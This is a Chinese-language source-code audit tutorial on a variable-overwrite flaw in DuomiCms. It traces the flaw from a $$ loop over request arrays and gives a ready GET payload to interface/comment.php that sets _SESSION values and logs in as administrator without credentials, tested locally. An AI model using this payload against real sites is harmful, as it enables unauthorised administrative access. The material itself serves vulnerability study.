变量覆盖原理
在开始源码审计之前,先了解一下变量覆盖的原理以及相关知识。
原理:同一个变量在代码的上下文中,如果我能找到一个变量覆盖漏洞,并且他能去覆盖掉一些危险函数的变量值,此时危险函数就能变成我们可以控制的内容了。
危险函数: 能创建变量的函数
extract() 将数组中的键变成变量名,将数组中的值转变成对应的值
parse_str() 用于将查询字符串解析为变量和变量值
$$ 用于在 PHP 中创建可变变量
源码审计
找到DuomiCms源码,先从寻找可以创建变量的方法开始,从extract()方法开始找
只有一个方法,而且这个方法是调用$zip对象中的方法,并不是php的内置函数,不符合要求,找下一个方法parse_str(),没结果(没结果不展示了,节省空间)
剩下最后一个方法了
是但是有很多,我们慢慢找,找到可以利用的创建变量方法
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
危险函数解析:
foreach(Array('_GET','_POST','_COOKIE') as $_request):遍历数组'_GET'、'_POST'和'_COOKIE',将每个数组赋值给变量$_request;
foreach($$_request as $_k => $_v)这段代码是一个foreach循环,用于遍历一个名为$_request的数组。在循环中,$_k代表数组中的键,$_v代表对应的值;
_RunMagicQuotes($_v): 调用_RunMagicQuotes函数对$_v进行处理,得到处理后的值;
${$_k} =:将处理后的值赋给变量${$_k}
而_RunMagicQuotes函数就在上方
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
这一个函数是用来转义魔术引号的,也就是说是用来防止注入的,如果我们可以通过上面找到的创建变量的方法来进行变量覆盖即可绕过这个过滤方法。
接下来就是尝试寻找调用这个创建变量的函数的位置了(寻找是否存在危险函数)
由于原文件不存在危险函数,所以我们需要寻找包含common.php文件的文件(包含common.php的文件有可能会调用这个函数)
注意:寻找可利用文件时需要注意声明包含文件的位置,如过在声明之前没有任何创建变量的操作的话就没有利用价值
如:
根据上述要求,找到符合要求的文件
session_start():用于创建session,在调用session_start()函数之后,可以使用$_SESSION数组来访问和修改会话变量的值。
由此联想到session覆盖。
简要解释一下session覆盖的原理:后端接收到用户的cookie,通过cookie找到对应的session,由session判断当前用户有什么权限。也就是说,如果我能覆盖掉session的值,那就意味着不需要登录就能直接访问后台。
那如果需要覆盖session,我们就需要找到正确的管理员session值,一种方法是在login.php中代码审计来找到session赋值的地方,但这种方法有些复杂,我们还可以采取一种较为简便的方法:
在管理员登录的时候,服务器会将session发到我们手里,如果我们想办法截取到session,就可以完成无账号密码登录管理员账号,以下是具体操作步骤:
第一步,在admin目录下找到login.php文件,在登录成功的代码后面加上一句:
die(var_dump($_SESSION));/停止下面代码的执行,直接返回当前登录成功后得到的session
然后在本地登录一下管理员账号,成功后返回如下session
array(5) { ["duomi_ckstr"]=> string(4) "ekfm" ["duomi_ckstr_last"]=> string(0) "" ["duomi_admin_id"]=> string(1) "1" ["duomi_group_id"]=> string(1) "1" ["duomi_admin_name"]=> string(5) "admin" }
payload
interface/comment.php?_SESSION[duomi_ckstr]=ekfm&
_SESSION[duomi_ckstr_last]=&
_SESSION[duomi_admin_id]=1&
_SESSION[duomi_group_id]=1&
_SESSION[duomi_admin_name]=webgo
以下是payload解析:
首先是关于SESSION的格式,由于这里采用数组形式来传SESSION值,所以我们直接使用_SESSION[x]=xx的格式,因为在common.php有创建任意变量的函数,其中$$会将我们的_SESSION[X]作为键,把xx作为键值,处理后就是这样:$_SESSION["X"]="XX";
其次是为什么采用传参的形式来传递SESSION,由于在源码审计中分析的创建任意变量的函数获取参数的方法就是用的get传参,如果我们需要通过这个函数来构造SESSION变量给服务器鉴权,就需要通过get传参;
最后是interface/comments.php,这是因为我们必须找到一个有session_start()函数的文件(session_start()函数用来开启session会话,开启会话后我们就可以通过数组形式来访问和修改SESSION,也就是$_SESSION["X"]="XXX")所以我们必须寻找一个这样的文件来传参,才能达到目的
漏洞利用
这里在本地搭建环境
登录成功